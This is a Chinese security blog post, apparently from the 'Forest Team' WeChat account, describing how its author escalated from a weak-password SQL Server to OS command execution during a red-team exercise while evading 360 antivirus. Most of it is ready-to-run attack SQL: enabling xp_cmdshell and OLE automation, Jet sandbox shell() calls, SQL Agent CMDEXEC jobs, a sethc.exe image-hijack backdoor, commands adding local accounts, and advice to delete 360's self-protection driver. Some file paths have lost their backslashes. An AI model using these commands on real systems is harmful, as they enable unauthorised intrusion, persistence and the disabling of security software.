点击蓝字 关注我们
声
明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
原作者有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本人允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
在某市的护网时,内网碰到一个SA弱口令的数据库。于是乎我高兴的代理进入数据库输入命令点击运行…一个神奇的返回执行失败。当时的我表情是这样的
我猜想了下估计又是某大厂的某60作祟,琢磨着我翻出之前PTE考试时老师给的资料包。查询了下Sql server提权的部分,通过测试找到可执行的命令查看进程发现真是它拦截了。后来发现有向日葵翻出来配置文件,破解密码后就拿到了权限。
直接进入正题!SQLSERVER提权也就是利用相关组件达到系统执行的操作。所获得的权限和运行数据库及组件的权限挂钩。部分组件不被拦截的原因可能是基于微软的白名单,所以才不会被拦截。
01
xp_cmdshell提权命令
启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1 --
RECONFIGURE WITH OVERRIDE --
EXEC sp_configure 'xp_cmdshell', 1 --
RECONFIGURE WITH OVERRIDE --
EXEC sp_configure 'show advanced options', 0 –
xp_cmdshell执行命令:
exec master..xp_cmdshell 'net user venus 123 /add'
当你在实际执行的时候会发现会话很长时间没有返回内存,说明某60已经把你拦截了。同时会返回错误代码5就是没有权限的意思。
02
xp_oacreate提权命令
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c echo 1 > c:1.txt'--
出现这个情况必须得启用'Ole Automation Procedures'。
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
EXEC sp_configure 'Ole Automation Procedures';
GO
正常可以执行命令,但是不回显。
然后依旧被某60拦截。
03
沙盒提权
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user sql$ Qwerasdf1234 /add")');
高版本报错不存在,
缺少Microsoft.Jet.OLEDB.4.0。2012R2/sqlserver2008
低版本2003/sqlserver2005。
打开配置
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure
开启后执行某60没有拦截
04
job提权
CS c/py
先启动agent服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
添加一个job用于执行cmd命令:
use msdb;
exec sp_delete_job NULL,'x';
exec sp_add_job 'x';
exec sp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd /c dir c: > c:a.txt';
exec sp_add_jobserver NULL,'x',@@servername;
exec sp_start_job 'x';
通过bulk查看a.txt结果:
drop table [clee];
CREATE TABLE [clee](ResultTxt nvarchar(1024) NULL);
BULK INSERT [clee] FROM 'c:a.txt' WITH (KEEPNULLS);
insert into [clee] values ('g_over');
Alter Table [clee] add id int NOT NULL IDENTITY (1,1);
select * from [clee];
thon的shellcode 靶机内存2G
绕过了某60的拦截成功执行了命令,但是执行敏感操作如net的时候还是会被拦截。
05
镜像劫持
利用regwrite函数修改注册表,起到劫持作用。某60自保护模式无法使用。
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'
然后检查是否劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'
03这台某60是刚装的没开自保护模式所以不会拦截。
实际中如果要用到镜像劫持的功能就把某60卸载了,或者把360SelfProtection.sys给删除就可以改Debugger值了。
结论
总体来说,面对拦截也不是完全束手无策,比较推荐的是job提权。基本上区别其他几个提权会相对好用。
Forest Team
微信号|ForestTeam
期待你的
分享
点赞
在看
本文始发于微信公众号(Forest Team):在安全防护下SQL SERVER提权的各种尝试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论